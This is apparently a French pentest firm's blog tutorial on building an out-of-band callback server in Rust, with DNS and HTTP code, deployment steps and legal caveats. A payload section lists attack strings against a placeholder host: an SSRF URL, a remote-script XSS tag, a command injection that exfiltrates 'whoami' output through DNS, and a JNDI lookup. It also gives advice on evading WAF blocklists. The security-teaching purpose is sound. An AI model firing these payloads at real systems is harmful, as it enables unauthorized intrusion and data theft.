
Construire son serveur OOB pour le pentest (from scratch,
en Rust)
Blind SSRF, blind XSS, RCE aveugle : certaines failles ne renvoient rien dans la réponse. Pour les prouver, il faut un serveur out-of-band (OOB), comme Burp Collaborator ou interactsh, mais le vôtre. On en construit un from scratch en Rust : DNS autoritatif, catch-all HTTP, corrélation et dashboard live. Code complet open-source.
own2pwn9 min de lecture
Des failles aveugles sur votre périmètre ?
On les débusque en conditions réelles, preuve OOB à l'appui.
Demander un pentestVous injectez un payload dans un champ. La réponse HTTP revient : 200 OK, rien d'anormal, aucune donnée qui fuit, aucun message d'erreur. Et pourtant, quelque part côté serveur, votre charge s'est bel et bien exécutée. Elle a juste recraché son résultat ailleurs que dans la page que vous regardez. Bienvenue dans le monde des failles aveugles, et dans la seule façon fiable de les prouver : le canal out-of-band (OOB).

Les outils du marché s'appellent Burp Collaborator ou interactsh. Ils sont excellents, mais ce sont des boîtes noires. Le meilleur moyen de comprendre vraiment ce qu'ils font, c'est d'en construire un. Alors on va le faire : un serveur OOB minimal mais fonctionnel, from scratch en Rust, en ~700 lignes lisibles. DNS autoritatif fait main, catch-all HTTP, corrélation des callbacks et dashboard temps réel. Le code complet est en open-source à la fin.
Cadre légal, à lire avant tout
Le problème : les failles qu'on ne voit pas
Une faille classique vous répond dans la même requête : vous envoyez ' OR 1=1--, la page affiche toute la table. C'est de l'in-band. Mais une grande partie des vulnérabilités modernes sont aveugles : le serveur exécute votre charge sans jamais rien renvoyer d'exploitable dans la réponse. Quelques classiques :
- Blind SSRF : vous forcez le serveur à émettre une requête sortante (vers une URL que vous contrôlez), mais la réponse de cette requête ne vous est jamais montrée.
- Blind XSS : votre payload JavaScript s'exécute, mais dans le navigateur d'un admin, sur une page back-office que vous ne verrez jamais.
- RCE / injection de commande aveugle : la commande tourne, mais sa sortie ne revient pas (pas de
stdoutdans la réponse). - Exfiltration SQL out-of-band : une injection qui ne renvoie rien, mais peut déclencher une requête DNS depuis le SGBD.
- XXE aveugle : un parseur XML qui résout une entité externe vers une ressource distante.
Le point commun ? Dans tous ces cas, on peut faire faire au système cible une connexion sortante, une résolution DNS, une requête HTTP. Si cette connexion atterrit sur un serveur que vous contrôlez, vous tenez votre preuve. C'est exactement ce qu'un serveur OOB capture.
Le principe en une image
Vous possédez un domaine et vous déléguez un sous-domaine, disons oob.example.com, à votre serveur. Vous glissez un nom unique dans votre payload. Quand la cible le résout ou le contacte, le callback arrive chez vous, horodaté, avec l'IP source.
http://deadbeef.oob.example.com/DNS deadbeef, répond A 203.0.113.10.HTTP deadbeef, répond un 200 OK anodin.Nuance importante : un hit DNS seul prouve que quelque chose a résolu le nom (un résolveur, un anti-spam, un proxy…). Un hit HTTP, lui, est une confirmation dure : une vraie connexion sortante a eu lieu. On garde cette distinction en tête, elle est au cœur de la fiabilité d'un OOB.
Ce qu'on va construire
Trois composants au-dessus d'un store mémoire partagé, le tout dans un seul binaire Rust (runtime async tokio) :
- Un serveur DNS autoritatif (UDP/53) qui répond pour notre zone et logue chaque résolution.
- Un catch-all HTTP (TCP/80) qui capture n'importe quelle requête (méthode, chemin, en-têtes, corps) et répond un
200 OKanodin. - Un dashboard live (localhost) qui affiche les callbacks en temps réel + une petite API JSON.
On n'utilise aucune bibliothèque DNS ni framework web : l'intérêt, c'est justement de voir le protocole sur le fil. Deux dépendances en tout (tokio et serde_json).
Étape 0 : le domaine et la délégation DNS
C'est l'étape qu'on oublie toujours, et sans elle rien ne marche. Pour que votre serveur soit interrogé quand la cible résout deadbeef.oob.example.com, il doit être autoritatif pour la zone oob.example.com. Concrètement, chez votre registrar (sur la zone example.com), vous créez une délégation :
; délégation de oob.example.com vers votre serveur
oob.example.com. NS ns1.oob.example.com.
oob.example.com. NS ns2.oob.example.com.
; glue records : l'IP publique de votre VPS
ns1.oob.example.com. A 203.0.113.10
ns2.oob.example.com. A 203.0.113.10Les glue records sont indispensables : sans eux, un résolveur tournerait en rond (il faut résoudre ns1.oob.example.com pour joindre oob.example.com, qui dépend de… ns1). Le glue casse la boucle en pré-câblant l'IP au niveau du parent. Une fois en place, on vérifie :
deadbeef.oob.example.com.NS → ns1/ns2.oob.example.com, avec glue A → 203.0.113.10.# la délégation est-elle vue depuis l'extérieur ?
dig NS oob.example.com @8.8.8.8 +short
# notre serveur répond-il en direct sur son IP ?
dig A test.oob.example.com @203.0.113.10 +short
# → 203.0.113.10Choisissez un domaine neutre
oob.ma-boite-secu.fr). Beaucoup de WAF et de blue teams mettent sur liste noire les domaines OOB connus, et un nom qui crie "pentest" se fait filtrer. Un domaine quelconque et anodin passe bien mieux.Étape 1 : un serveur DNS autoritatif minimal
Une requête DNS, c'est un en-tête de 12 octets suivi d'une question : le QNAME (les labels du nom, chacun préfixé par sa longueur, terminé par un octet nul), puis le QTYPE et le QCLASS sur 2 octets chacun. Dans une question, pas de compression de noms : on peut donc parser à plat. On extrait le nom et le type :
/// Parse la section question : renvoie (qname, index après le qname, qtype).
fn parse_query(buf: &[u8]) -> Option<(String, usize, u16)> {
if buf.len() < 12 { return None; } // en-tête = 12 octets
if u16::from_be_bytes([buf[4], buf[5]]) < 1 { return None; } // QDCOUNT
let mut pos = 12usize;
let mut labels: Vec<String> = Vec::new();
loop {
let len = *buf.get(pos)? as usize;
if len == 0 { pos += 1; break; } // label racine -> fin
if len & 0xC0 != 0 { return None; } // pointeur de compression : non
pos += 1;
let end = pos.checked_add(len)?;
if end > buf.len() { return None; }
labels.push(String::from_utf8_lossy(&buf[pos..end]).into_owned());
pos = end;
}
let qtype = u16::from_be_bytes([buf[pos], buf[pos + 1]]);
Some((labels.join("."), pos, qtype))
}Pour la réponse, on recopie l'ID de transaction, on lève les bons bits (QR = réponse, AA = autoritatif), on ré-émet la question, puis, pour une requête A, on ajoute un enregistrement pointant vers notre IP publique. L'astuce de compression 0xC0 0x0C évite de réécrire le nom : c'est un pointeur vers la question, à l'offset 12.
fn build_response(req: &[u8], qname_end: usize, qtype: u16, ip: [u8; 4]) -> Option<Vec<u8>> {
let q_end = qname_end + 4; // inclut QTYPE + QCLASS
let rd = req[2] & 0x01; // on préserve le bit Recursion-Desired
let answer_a = qtype == 1; // 1 = A
let mut out = Vec::new();
out.extend_from_slice(&req[0..2]); // ID de transaction, ré-émis
out.push(0x84 | rd); // QR=1, AA=1, RD copié
out.push(0x00); // RCODE=0 (NOERROR)
out.extend_from_slice(&[0x00, 0x01]); // QDCOUNT = 1
out.extend_from_slice(&[0x00, if answer_a { 1 } else { 0 }]); // ANCOUNT
out.extend_from_slice(&[0, 0, 0, 0]); // NSCOUNT, ARCOUNT
out.extend_from_slice(&req[12..q_end]); // on ré-émet la question
if answer_a {
out.extend_from_slice(&[0xC0, 0x0C]); // NAME -> pointeur vers offset 12
out.extend_from_slice(&[0x00, 0x01, 0x00, 0x01]); // TYPE=A, CLASS=IN
out.extend_from_slice(&[0x00, 0x00, 0x00, 0x1E]); // TTL = 30s
out.extend_from_slice(&[0x00, 0x04]); // RDLENGTH = 4
out.extend_from_slice(&ip); // RDATA = l'IPv4
}
Some(out)
}Le tout tourne dans une boucle recv_from / send_to sur un UdpSocket tokio. Chaque requête est loguée avant qu'on réponde : même une résolution AAAA sans réponse exploitable reste une preuve d'interaction.
Pourquoi pas une lib DNS ?
A et tout logger, c'est amplement suffisant.Étape 2 : le catch-all HTTP
Côté HTTP, on accepte tout : n'importe quelle méthode, n'importe quel chemin. On lit la requête jusqu'à la fin des en-têtes (le \r\n\r\n), on extrait ce qui nous intéresse (méthode, chemin, Host, User-Agent, corps borné), on logue, et on renvoie un 200 OK insignifiant pour que la requête de la cible "réussisse" sans éveiller de soupçon.
// ... après avoir lu et parsé les en-têtes ...
let host_no_port = host.split(':').next().unwrap_or("").to_string();
// Corrélation : on préfère le sous-domaine du Host, sinon le 1er segment du chemin.
let id = label_from_host(&host_no_port, &zone)
.or_else(|| path.trim_start_matches('/').split('/').next()
.filter(|s| !s.is_empty()).map(str::to_string))
.unwrap_or_else(|| "@".to_string());
store.record(id, "HTTP", src, format!("{method} {path}"), raw);
// Réponse anodine : le callback doit avoir l'air parfaitement banal.
let resp = "HTTP/1.1 200 OK\r\nContent-Length: 3\r\nConnection: close\r\n\r\nok\n";
sock.write_all(resp.as_bytes()).await?;Étape 3 : corréler les callbacks
Si vous testez 30 points d'injection, vous devez savoir lequel a déclenché un callback. D'où le token de corrélation : un label court et unique que vous plantez dans chaque payload (deadbeef.oob.example.com). Au retour, le serveur ré-extrait ce label du nom et regroupe les interactions dessus.
/// abc123.oob.example.com (zone oob.example.com) -> "abc123".
/// On garde le label collé à la zone : a.b.tok.oob.example.com -> "tok".
pub fn correlation_id(qname: &str, zone: &str) -> String {
let q = qname.trim_end_matches('.').to_ascii_lowercase();
let z = zone.trim_end_matches('.').to_ascii_lowercase();
match q.strip_suffix(&format!(".{z}")) {
Some(prefix) => prefix.rsplit('.').next().unwrap_or(prefix).to_string(),
None => q, // hors de notre zone : on logue quand même
}
}Le token ne doit RIEN encoder
Le store, lui, est un simple buffer mémoire borné (on ne persiste pas les callbacks d'une cible sur disque : redémarrage = ardoise propre). Chaque interaction garde proto, IP source, horodatage et la preuve brute (le QNAME, ou les en-têtes + corps HTTP).
Étape 4 : le dashboard live
Dernier morceau : une page qui interroge l'API JSON toutes les deux secondes et affiche les callbacks au fil de l'eau, plus un bouton "New payload" qui appelle /new pour générer un token frais et ses URLs prêtes à coller. Trois routes, zéro framework :
let (status, ctype, body) = match path {
"/" => ("200 OK", "text/html", PAGE.replace("__ZONE__", &zone)),
"/api/interactions" => ("200 OK", "application/json", store.snapshot_json().to_string()),
"/new" => {
let token = store.new_token();
let payload = serde_json::json!({
"id": token,
"dns": format!("{token}.{zone}"),
"http": format!("http://{token}.{zone}/"),
});
("200 OK", "application/json", payload.to_string())
}
_ => ("404 Not Found", "text/plain", "not found\n".into()),
};Le dashboard reste privé
localhost (ou derrière un VPN / une auth). Jamais sur l'internet public.Déployer sur un VPS
Le binaire doit écouter sur les ports 53 et 80, des ports privilégiés. On évite de tourner en root : la capability NET_BIND_SERVICE suffit. Via Docker :
docker build -t oob-poc .
docker run -d --name oob \
--cap-add NET_BIND_SERVICE \
-p 53:53/udp -p 53:53/tcp -p 80:80 \
-p 127.0.0.1:8080:8080 \
-e OOB_ZONE=oob.example.com \
-e OOB_PUBLIC_IP=203.0.113.10 \
oob-pocCôté firewall : on ouvre 53/udp+tcp et 80/tcp au monde (c'est la cible qui doit nous joindre), et on garde le dashboard sur la loopback. Une vérification de bout en bout :
# depuis n'importe où : déclencher un callback DNS puis HTTP
dig +short deadbeef.oob.example.com # -> 203.0.113.10
curl http://deadbeef.oob.example.com/ # -> ok
# les deux apparaissent dans le dashboard, regroupés sous "deadbeef"S'en servir : exemples de payloads
En test autorisé, le token s'injecte partout où vous soupçonnez une connexion sortante. Quelques exemples :
# SSRF dans un paramètre d'URL
https://cible/api/fetch?url=http://deadbeef.oob.example.com/
# Blind XSS (s'exécute dans un back-office que vous ne voyez pas)
"><script src=//deadbeef.oob.example.com/x.js></script>
# Injection de commande aveugle (exfil via DNS)
; curl http://$(whoami).deadbeef.oob.example.com/
# Log4Shell-like / résolution JNDI déclenchant un DNS
${jndi:dns://deadbeef.oob.example.com/a}
# En-tête Host pour un SSRF côté reverse-proxy
Host: deadbeef.oob.example.comLe troisième exemple est instructif : la sortie de whoami devient un sous-domaine. Comme notre catch-all logue n'importe quel label, vous la récupérez directement dans le QNAME : de l'exfiltration de données par DNS, sans jamais voir la réponse HTTP de la cible.
Les limites de ce PoC (et ce qu'un vrai serveur ajoute)
Ce PoC prouve le concept et tient en une lecture. Un serveur OOB monté pour un usage quotidien ajoute plusieurs couches qu'on a volontairement laissées de côté ici pour garder le cœur lisible :
- TLS wildcard (
*.oob.example.com) via un challenge ACME DNS-01, car beaucoup de SSRF ne partent qu'enhttps://. - Collecteurs multi-protocoles (SMTP, LDAP, FTP, TCP brut) pour prouver les SSRF par smuggling de protocole, un
gopher://ou un${jndi:ldap://…}qui ouvre une connexion non-HTTP. - Isolation multi-tenant et API de polling pour piloter l'OOB depuis un scanner automatisé.
- Épinglage de l'IP source (anti faux positifs) : on ne valide un callback que s'il vient de l'IP attendue de la cible, sinon un résolveur récursif ou un attaquant tiers peut "faussement" déclencher un hit.
- Une règle de corrélation 0-faux-positif (DNS seul = suspecté, HTTP = confirmé) appliquée côté serveur, non négociable par le client.
Ces briques font la différence entre un gadget de lab et un outil sur lequel on engage un rapport client. C'est précisément le genre d'infra qui tourne derrière notre EASM et nos pentests web blackbox, là où détecter une blind SSRF sur une surface d'attaque externe doit être fiable et sans bruit. Pour la frontière entre détection automatisée et test réel, voyez aussi pentest vs scan de vulnérabilité, et, si vous vous demandez ce que coûte un test capable de prouver ces failles aveugles, le prix d'un test d'intrusion web. Et pour voir où s'insère ce genre de découverte dans une mission complète, le déroulement d'un pentest détaille chaque phase.
Le code complet
L'intégralité du PoC, serveur DNS, catch-all HTTP, dashboard, tests unitaires, Dockerfile, est open-source (licence MIT) :
Le dépôt : github.com/own2pwn-fr/oob-poc
Clonez, lancez en local sur des ports non privilégiés, et regardez vos premiers callbacks tomber :
git clone https://github.com/own2pwn-fr/oob-poc && cd oob-poc
OOB_ZONE=oob.example.com \
OOB_DNS_BIND=127.0.0.1:15353 \
OOB_HTTP_BIND=127.0.0.1:8080 \
OOB_DASHBOARD_BIND=127.0.0.1:9090 \
cargo run --release
# dans un autre shell
dig +short @127.0.0.1 -p 15353 deadbeef.oob.example.com
curl -H 'Host: deadbeef.oob.example.com' http://127.0.0.1:8080/
# ouvrez http://127.0.0.1:9090/À retenir
- Les failles aveugles (blind SSRF/XSS, RCE et SQLi out-of-band, XXE) ne se prouvent qu'avec un canal OOB : on force une connexion sortante vers un serveur qu'on contrôle.
- Un OOB tient en trois pièces : un DNS autoritatif, un catch-all HTTP, et de la corrélation par token opaque.
- La délégation DNS (NS + glue) est le prérequis qu'on oublie ; sans elle, le serveur n'est jamais interrogé.
- Un hit DNS suspecte, un hit HTTP confirme. La gestion fine des faux positifs (épinglage IP source) est ce qui sépare le PoC de l'outil de prod.
- Et bien sûr : uniquement en test autorisé.
Envie qu'on cherche ce genre de failles aveugles sur votre surface d'attaque ? C'est exactement le métier d'own2pwn, ou parlez-en directement avec un humain via la page contact.
Questions fréquentes sur les serveurs OOB
Qu'est-ce qu'un serveur out-of-band (OOB) en pentest ?
C'est un serveur que vous contrôlez et qui écoute les connexions déclenchées par une application cible. Quand une faille n'affiche rien dans la réponse HTTP mais force le serveur vulnérable à contacter un domaine externe (résolution DNS ou requête HTTP), ce contact atterrit sur votre serveur OOB. La preuve de la vulnérabilité n'est plus dans la réponse, elle est dans votre journal de callbacks.
À quoi sert un serveur OOB face aux failles aveugles ?
Certaines vulnérabilités ne renvoient rien d'exploitable dans la réponse : blind SSRF, blind XSS, injections aveugles, RCE sans sortie. Un serveur OOB matérialise leur exploitation en captant l'interaction sortante que la faille provoque. C'est le seul moyen fiable de prouver ces failles à un client, capture de callback à l'appui, plutôt que de rester sur une suspicion invérifiable.
Faut-il coder son propre serveur OOB ou utiliser Burp Collaborator ?
Burp Collaborator et interactsh couvrent la plupart des besoins et restent le choix par défaut. Construire le sien apporte une maîtrise totale : rétention des données sur votre infrastructure, domaine dédié moins signé que les domaines publics connus, et compréhension fine du mécanisme DNS et HTTP en jeu. C'est un exercice qui rend meilleur sur le sujet, pas forcément un remplacement quotidien de l'outillage existant.
Quels composants faut-il pour un serveur OOB minimal ?
Trois briques suffisent : un serveur DNS autoritatif sur un domaine dont vous déléguez la zone, pour capter les résolutions ; un catch-all HTTP qui répond à toute requête et journalise l'appelant ; et une couche de corrélation qui relie un sous-domaine unique injecté dans le payload au callback reçu, afin d'attribuer chaque interaction à un test précis. Un tableau de bord live rend le suivi confortable.
Un serveur OOB est-il légal à utiliser ?
Le serveur en lui-même n'a rien d'illégal : il ne fait qu'écouter des connexions entrantes. Ce qui doit être encadré, c'est l'injection des payloads OOB dans une cible : elle ne se justifie que dans le périmètre d'un pentest autorisé, avec un mandat écrit, ou sur un lab que vous possédez. En dehors de ce cadre, tester une cible qui n'est pas la vôtre reste un délit.
Veille sécurité
La suite, une fois par mois
Ce qui bouge vraiment sur la surface d'attaque externe, NIS2 et la sécurité applicative, écrit par le pentester qui signe ces articles. Un envoi par mois, désinscription en un clic.
Votre adresse ne sert qu'à cet envoi. Voir la politique de confidentialité.
Articles liés
appsec
Audit de sécurité informatique : grille, exemple de rapport et prix
Audit de sécurité informatique : ce que chaque type d'audit prouve vraiment, une grille de contrôles concrète, un extrait de rapport anonymisé et les prix affichés. Le volet technique, sans jargon.
appsec
Pentest en entreprise : pourquoi, quand et quel type commander
Pourquoi une entreprise commande un pentest : risque, conformité NIS2 et DORA, exigences clients. Quand le faire, quel type choisir (black, grey, white box, API, red team) et comment cadrer un prestataire.
appsec
OWASP ASVS et WSTG : la méthode réelle d'un pentest web
L'OWASP ne se résume pas au Top 10. L'ASVS 5.0 dit ce qu'une appli doit prouver, le WSTG comment le tester. Mapping d'une méthodo de pentest et dix contrôles ASVS niveau 2 vérifiés en mission.